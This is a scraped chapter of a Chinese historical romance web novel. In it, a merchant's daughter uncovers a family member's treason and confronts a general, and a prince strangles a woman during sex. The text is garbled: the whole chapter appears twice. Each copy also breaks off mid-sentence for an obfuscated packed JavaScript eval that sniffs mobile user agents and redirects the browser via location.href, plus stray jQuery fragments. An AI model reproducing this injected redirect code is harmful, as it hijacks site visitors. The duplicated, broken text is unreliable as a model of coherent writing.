蔺州 作品
29. 倾厦而醒（一）
傍晚，江云悠抱着一摞账册回到大帐，迎面便听到某人阴阳怪气的声音：“呦，骑完马了？我还当你忘了还有个哥呢。”
“你知道我骑马了？”江云悠永远震惊他打探消息的能力，经常疑心他耳朵长了不止两个，总能在某个地方撒一只出去听墙角。
“世上没有不透风的墙。”江云帆一手翻开账册，一手从袖中掏出个金玉算盘，单手拨的哗啦作响，“再教你一句，有钱能使磨推鬼。”
江云悠在旁边看着，忽道：“你不是看粮价吗，怎么要把这两年的账都拿过来啊？”
江云帆拨算盘的手指绊了一下，很快便如常装起神来：“万物都有联系懂不懂？你不去跟你那小白脸道别了？我可听说他今晚就要走了。”
“走？”江云悠愣了下，“可我路上听说，他们还要继续查那批货啊？”
江云帆顿时停了动作，“是你们这次船上出事的那批？”
江云悠眯起眼，把他那玉算盘拿来绕着指尖转，笃定道：“说吧，到底出什么事了，跟这批货有关对吧。”
“臭丫头，我就知道你跟那小白脸学不了好。”
江云帆话虽如此，其实心里知道，这么大的事迟早得跟她说，只不过是时间问题。
“你之前传信，说家里有内应跟草市和朝廷勾结，但其实从远叔第一次被劫船起，老江就开始排查了，只是没想到这个人藏的这么深。”
江云悠道：“所以现在有怀疑的人了？”
“是基本可以确定。”
江云帆每次严肃起来都没什么好事，所以比起江旬来，江云悠更怕他挂脸。
江云帆抽出两本草市的账目，连同袖口里早已算好的各项细则，一起递给她。
“你知道我当时是怎么决定要参与草市的生意吗？”
江云悠摇头，翻开账本，跟纸上的数字逐一核对。书页翻飞中，他的声音像是飘远了。
“当时我刚接手咱们家的生意没两个月，有一条生意链突然断了，积了一大批货，我那段时间想尽了各种销路，其中就包括草市，但老江一直跟咱们说君子不立危墙，所以当时我对草市态度还很犹豫。”
原本在指尖旋转的算盘哐啷掉在桌上，珠子噼里啪啦撞在一块，江云帆飘远的声音如同这些算珠，轰然撞进江云悠的耳朵。
“是方姨笑着跟我说，权衡之术不过利弊二字，善假于物者，必善物尽其用，只要能达成目的，途径只是手段。”
寒风把人吹的踉跄，恍惚中，江云悠似乎感觉有双手温柔的替她系上披风，别起乱发。
她一个激灵抖了下身子，仿佛掉回到知道母亲噩耗的那个下午，双脚踏空，坠入无边的迷茫和彷徨之中。
夜色铺开大网，将一切事物笼罩其中。十二月，临近年关，却好像已经在战火纷飞中提前磋磨尽了喜气。
姚肃谦忙活了几个整日，终于安顿好了军粮和临时避难所，他看了会排队领粥的百姓们，一瘸一拐向阴影里走去。
江云悠救下的那个孩子擦干净了脸，是个俊俏的男孩。他把那支步摇递给母亲，希望能让许久没笑过的母亲笑一下。女人摸了摸儿子，眼睛却变得更加忧愁。
宋凌风在大营外的长亭送别了谢衡，又一个人独自站了很久。五年未见的同窗短暂一聚，又匆忙踏上各自的征程，再相会还不知道何年何月。
驿站年久失修的木门总也关不严，顺着那条缝依稀能看到里面昏暗的窗口站了个人。
谢衡穿的还是来江南时那一身，在这寒冬腊月里也不嫌冷，只是站在窗口盯着夜色出神，直到孟笛过来敲了敲门。
“将军，抓到个……混进来的。”
谢衡仍未回头，淡声道：“谁的人？”
久未听到回复，他纳闷的转身，正要看看哪路人马那么有本事，能混进自己的队伍。
结果就看到个兜鍪都没戴明白，肩甲穿一只忘一只的瘦杆——江云悠站在门口，眼睛在昏暗中闪烁不明。
谢衡愣住，险些怀疑自己出幻觉了，“真是小瞧你了。”
他这一刻不由反思自己，是不是给这小丫头片子惯坏了，真要大闹天宫不成？
“把她给我捆了，哪来送哪去。”
然而江云悠听到这句怒火中烧的话，不仅没半句解释，反而突袭一样扑过去抓住谢衡的衣领。
“既然早就决定要走，为什么不直接说？”
谢衡被她扑的一懵，这会看清楚了她眼里闪烁的是什么了。
这人总是一副嬉皮笑脸、万事不挂心的样子，来去都是直肠子，好像生死也不过碗大的疤。他还从没见过她像现在这样，眼里已经盛满了泪，却还是执拗的不让它掉出来。
泪水模糊了江云悠的视线，眼前人影扭曲成了方妤晴的样子，让她鼻头的酸涩变本加厉的涌出来。
江云悠拉着他衣襟的手更加用力，质问道：“过往一切在你心里就那么一文不值吗？还是你觉得我只是你们执行计划中一个可堪入眼，打发时间的物件，就算一不小心付出了点真情，也可以毫不犹豫的抹去？”
谢衡后背撞到窗棂上，却张手扶了下江云悠跟着靠过来的肩膀。
孟笛看着某人前一秒还做出一副要把人家扔海里的架势，后一秒就变成了只任打任骂的锯嘴葫芦，深以为离鸟枪换炮的日子不远了，遂轻手轻脚的退下去，打算把暨雨的那份腌鱼干吃掉庆祝一下。
谢衡叹口气，把江云悠头上摇摇欲坠的兜鍪摘下安置到一边，“你怎么会这么认为……”
怎么会是一文不值，江南度过的这个秋天，足以打发之后的数载春秋，之所以没道别，是因为不想再经历一次山寨时的情景。
这些话终究没说出来，他改口道：“是发生什么了？”
谢衡的声音把江云悠从情绪中拉了出来，她兀自平复了会，瞥了他一眼，“你怎么知道就不是因为你不告而别？”
她毫不客气的把眼泪鼻涕都蹭到谢衡袖子上，这才拿出临走时从江云帆那顺来的账册。
“你还记得，你拿到冯远山账册的时候翻过几页吗，那时候我就在旁边，那本账册上有几个数字跟这里面完全一致。”
谢衡拿过账本，看向画圈的那几处，“所以江家一直有人利用航运之便，掩护这些货物流通？”
他一下想明白江云悠刚才的情绪从何处而来了，“你知道他是谁了？”
江云悠沉默了一会，又把账册抽了回来：“敖敦说这是通敌卖国的事，如果我说出是谁，能不能算作自首，她的结局会不会好点？这件事会连累江家其他人吗？”
谢衡如实道：“通敌叛国罪可夷族，就算自首，也只是换个方式死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203870|165302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。至于江家，我会尽我全力，保你家人无恙。”
这意思就是仍有牵连之祸。
江云悠看向桌上的兜鍪，这是她从伤兵营穿来的。
那里的士兵告诉她，战场刀剑无眼，有些尸首无处可寻的，战友便会把他们穿的甲埋起来立块碑，说起来也有个祭奠之处。
“我知道，若不是前线将士浴血奋战，我也没有站在这说话的机会，我受你们庇护，没有替戕害你们的凶手求活命的资格。”
“我不奢求不该有的，但我不相信方姨是这样的恶人，这背后一定有人教唆利用，我要把那个人揪出来。”
她忽然握住他的手，像是借力站稳。谢衡这才发现她的双手这么凉。
“我要找到方姨亲口问一问，问一问这么多年，她对我，对江家，难道都只是利用吗？”
谢衡倒了杯热水给她捂手，分条缕析道：“这件事牵扯很大，你现在看到的只是冰山一角，根本不知道这其中利害，别说找人，稍有不慎把自己搭进去都是轻的。”
江云悠把账本展示到他眼前，“我知道在你眼里我就是个什么都不懂的小孩，可我现在已经凭我自己站到你面前了不是吗？”
江云悠仰头看着他，威逼利诱轮番上阵，“我虽然能力有限，但会看账，这里面肯定还有藏着许多东西，而且我保证听将军命令，指东绝不往西。”
刚被泪水洗刷过的双眸晶亮晶亮的，满怀期待的样子让人不忍拒绝。
谢衡推开她越凑越近的脑袋，提起打好招呼：“这可是你说的，如果再……”
“保证没如果，我这就去找孟笛姐安置休息以备明日恶战！”江云悠抱起兜鍪跑了出去，生怕他反悔似的。
谢衡扬了扬眉，举起那杯水自己喝了口。季霖从窗口出现，把一张纸递给谢衡，“将军真让江大小姐一同去？”
“以她的性格，就算阻止的了一时，之后她也会偷偷调查，先让她跟着，你给江云帆传个信，让他过来。”
谢衡把那张纸跟江云悠带来的账册对比，眸色阴沉下来。
“谢霄……”
南境战火纷飞，却分毫没影响临安城里勋贵们的酒林肉池。
一个老太监捧着封信站在灯火辉煌的殿外。殿门敞开着，里面颓靡的声音毫无阻隔的传出来。
老太监咽了口唾沫，目光始终盯着地面，“殿下，谢世子的加急信，说对方已经查到卖家了。”
屋内娇声愈加高亢，烛火勾勒出屏风上两个叠在一起耸动的身影。
就在身下那人彻底沉溺时，一只手影忽然伸出，扼住了她的脖子，窒息令颤抖更甚。
女人的眼睛变成惊恐，挣扎着要逃，她身上的人反而受了什么刺激似的耸动更快。
等发泄完，那人才把手移开，女人的脑袋随之歪倒，眼睛却还睁着。
李允棠像是看不出什么不对，拿起旁边的玉酒壶往女人嘴里倒，清酒从殷红的唇角流到地上。
“既然鱼上钩了，那就收杆吧。”
李允棠像观赏艺术品似的撑头看着，惨白的脸上露个笑，“独乐了不如众乐乐，这么好看的一出戏，可别忘了喊上孟首辅一起。”
女人的薄纱飘在水池上，荡起的水波与夜色里嘉安运河中波涛重叠。
一条河两个岸，百家灯火，千万人生。
“你知道我骑马了？”江云悠永远震惊他打探消息的能力，经常疑心他耳朵长了不止两个，总能在某个地方撒一只出去听墙角。
“世上没有不透风的墙。”江云帆一手翻开账册，一手从袖中掏出个金玉算盘，单手拨的哗啦作响，“再教你一句，有钱能使磨推鬼。”
江云悠在旁边看着，忽道：“你不是看粮价吗，怎么要把这两年的账都拿过来啊？”
江云帆拨算盘的手指绊了一下，很快便如常装起神来：“万物都有联系懂不懂？你不去跟你那小白脸道别了？我可听说他今晚就要走了。”
“走？”江云悠愣了下，“可我路上听说，他们还要继续查那批货啊？”
江云帆顿时停了动作，“是你们这次船上出事的那批？”
江云悠眯起眼，把他那玉算盘拿来绕着指尖转，笃定道：“说吧，到底出什么事了，跟这批货有关对吧。”
“臭丫头，我就知道你跟那小白脸学不了好。”
江云帆话虽如此，其实心里知道，这么大的事迟早得跟她说，只不过是时间问题。
“你之前传信，说家里有内应跟草市和朝廷勾结，但其实从远叔第一次被劫船起，老江就开始排查了，只是没想到这个人藏的这么深。”
江云悠道：“所以现在有怀疑的人了？”
“是基本可以确定。”
江云帆每次严肃起来都没什么好事，所以比起江旬来，江云悠更怕他挂脸。
江云帆抽出两本草市的账目，连同袖口里早已算好的各项细则，一起递给她。
“你知道我当时是怎么决定要参与草市的生意吗？”
江云悠摇头，翻开账本，跟纸上的数字逐一核对。书页翻飞中，他的声音像是飘远了。
“当时我刚接手咱们家的生意没两个月，有一条生意链突然断了，积了一大批货，我那段时间想尽了各种销路，其中就包括草市，但老江一直跟咱们说君子不立危墙，所以当时我对草市态度还很犹豫。”
原本在指尖旋转的算盘哐啷掉在桌上，珠子噼里啪啦撞在一块，江云帆飘远的声音如同这些算珠，轰然撞进江云悠的耳朵。
“是方姨笑着跟我说，权衡之术不过利弊二字，善假于物者，必善物尽其用，只要能达成目的，途径只是手段。”
寒风把人吹的踉跄，恍惚中，江云悠似乎感觉有双手温柔的替她系上披风，别起乱发。
她一个激灵抖了下身子，仿佛掉回到知道母亲噩耗的那个下午，双脚踏空，坠入无边的迷茫和彷徨之中。
夜色铺开大网，将一切事物笼罩其中。十二月，临近年关，却好像已经在战火纷飞中提前磋磨尽了喜气。
姚肃谦忙活了几个整日，终于安顿好了军粮和临时避难所，他看了会排队领粥的百姓们，一瘸一拐向阴影里走去。
江云悠救下的那个孩子擦干净了脸，是个俊俏的男孩。他把那支步摇递给母亲，希望能让许久没笑过的母亲笑一下。女人摸了摸儿子，眼睛却变得更加忧愁。
宋凌风在大营外的长亭送别了谢衡，又一个人独自站了很久。五年未见的同窗短暂一聚，又匆忙踏上各自的征程，再相会还不知道何年何月。
驿站年久失修的木门总也关不严，顺着那条缝依稀能看到里面昏暗的窗口站了个人。
谢衡穿的还是来江南时那一身，在这寒冬腊月里也不嫌冷，只是站在窗口盯着夜色出神，直到孟笛过来敲了敲门。
“将军，抓到个……混进来的。”
谢衡仍未回头，淡声道：“谁的人？”
久未听到回复，他纳闷的转身，正要看看哪路人马那么有本事，能混进自己的队伍。
结果就看到个兜鍪都没戴明白，肩甲穿一只忘一只的瘦杆——江云悠站在门口，眼睛在昏暗中闪烁不明。
谢衡愣住，险些怀疑自己出幻觉了，“真是小瞧你了。”
他这一刻不由反思自己，是不是给这小丫头片子惯坏了，真要大闹天宫不成？
“把她给我捆了，哪来送哪去。”
然而江云悠听到这句怒火中烧的话，不仅没半句解释，反而突袭一样扑过去抓住谢衡的衣领。
“既然早就决定要走，为什么不直接说？”
谢衡被她扑的一懵，这会看清楚了她眼里闪烁的是什么了。
这人总是一副嬉皮笑脸、万事不挂心的样子，来去都是直肠子，好像生死也不过碗大的疤。他还从没见过她像现在这样，眼里已经盛满了泪，却还是执拗的不让它掉出来。
泪水模糊了江云悠的视线，眼前人影扭曲成了方妤晴的样子，让她鼻头的酸涩变本加厉的涌出来。
江云悠拉着他衣襟的手更加用力，质问道：“过往一切在你心里就那么一文不值吗？还是你觉得我只是你们执行计划中一个可堪入眼，打发时间的物件，就算一不小心付出了点真情，也可以毫不犹豫的抹去？”
谢衡后背撞到窗棂上，却张手扶了下江云悠跟着靠过来的肩膀。
孟笛看着某人前一秒还做出一副要把人家扔海里的架势，后一秒就变成了只任打任骂的锯嘴葫芦，深以为离鸟枪换炮的日子不远了，遂轻手轻脚的退下去，打算把暨雨的那份腌鱼干吃掉庆祝一下。
谢衡叹口气，把江云悠头上摇摇欲坠的兜鍪摘下安置到一边，“你怎么会这么认为……”
怎么会是一文不值，江南度过的这个秋天，足以打发之后的数载春秋，之所以没道别，是因为不想再经历一次山寨时的情景。
这些话终究没说出来，他改口道：“是发生什么了？”
谢衡的声音把江云悠从情绪中拉了出来，她兀自平复了会，瞥了他一眼，“你怎么知道就不是因为你不告而别？”
她毫不客气的把眼泪鼻涕都蹭到谢衡袖子上，这才拿出临走时从江云帆那顺来的账册。
“你还记得，你拿到冯远山账册的时候翻过几页吗，那时候我就在旁边，那本账册上有几个数字跟这里面完全一致。”
谢衡拿过账本，看向画圈的那几处，“所以江家一直有人利用航运之便，掩护这些货物流通？”
他一下想明白江云悠刚才的情绪从何处而来了，“你知道他是谁了？”
江云悠沉默了一会，又把账册抽了回来：“敖敦说这是通敌卖国的事，如果我说出是谁，能不能算作自首，她的结局会不会好点？这件事会连累江家其他人吗？”
谢衡如实道：“通敌叛国罪可夷族，就算自首，也只是换个方式死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203870|165302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。至于江家，我会尽我全力，保你家人无恙。”
这意思就是仍有牵连之祸。
江云悠看向桌上的兜鍪，这是她从伤兵营穿来的。
那里的士兵告诉她，战场刀剑无眼，有些尸首无处可寻的，战友便会把他们穿的甲埋起来立块碑，说起来也有个祭奠之处。
“我知道，若不是前线将士浴血奋战，我也没有站在这说话的机会，我受你们庇护，没有替戕害你们的凶手求活命的资格。”
“我不奢求不该有的，但我不相信方姨是这样的恶人，这背后一定有人教唆利用，我要把那个人揪出来。”
她忽然握住他的手，像是借力站稳。谢衡这才发现她的双手这么凉。
“我要找到方姨亲口问一问，问一问这么多年，她对我，对江家，难道都只是利用吗？”
谢衡倒了杯热水给她捂手，分条缕析道：“这件事牵扯很大，你现在看到的只是冰山一角，根本不知道这其中利害，别说找人，稍有不慎把自己搭进去都是轻的。”
江云悠把账本展示到他眼前，“我知道在你眼里我就是个什么都不懂的小孩，可我现在已经凭我自己站到你面前了不是吗？”
江云悠仰头看着他，威逼利诱轮番上阵，“我虽然能力有限，但会看账，这里面肯定还有藏着许多东西，而且我保证听将军命令，指东绝不往西。”
刚被泪水洗刷过的双眸晶亮晶亮的，满怀期待的样子让人不忍拒绝。
谢衡推开她越凑越近的脑袋，提起打好招呼：“这可是你说的，如果再……”
“保证没如果，我这就去找孟笛姐安置休息以备明日恶战！”江云悠抱起兜鍪跑了出去，生怕他反悔似的。
谢衡扬了扬眉，举起那杯水自己喝了口。季霖从窗口出现，把一张纸递给谢衡，“将军真让江大小姐一同去？”
“以她的性格，就算阻止的了一时，之后她也会偷偷调查，先让她跟着，你给江云帆传个信，让他过来。”
谢衡把那张纸跟江云悠带来的账册对比，眸色阴沉下来。
“谢霄……”
南境战火纷飞，却分毫没影响临安城里勋贵们的酒林肉池。
一个老太监捧着封信站在灯火辉煌的殿外。殿门敞开着，里面颓靡的声音毫无阻隔的传出来。
老太监咽了口唾沫，目光始终盯着地面，“殿下，谢世子的加急信，说对方已经查到卖家了。”
屋内娇声愈加高亢，烛火勾勒出屏风上两个叠在一起耸动的身影。
就在身下那人彻底沉溺时，一只手影忽然伸出，扼住了她的脖子，窒息令颤抖更甚。
女人的眼睛变成惊恐，挣扎着要逃，她身上的人反而受了什么刺激似的耸动更快。
等发泄完，那人才把手移开，女人的脑袋随之歪倒，眼睛却还睁着。
李允棠像是看不出什么不对，拿起旁边的玉酒壶往女人嘴里倒，清酒从殷红的唇角流到地上。
“既然鱼上钩了，那就收杆吧。”
李允棠像观赏艺术品似的撑头看着，惨白的脸上露个笑，“独乐了不如众乐乐，这么好看的一出戏，可别忘了喊上孟首辅一起。”
女人的薄纱飘在水池上，荡起的水波与夜色里嘉安运河中波涛重叠。
一条河两个岸，百家灯火，千万人生。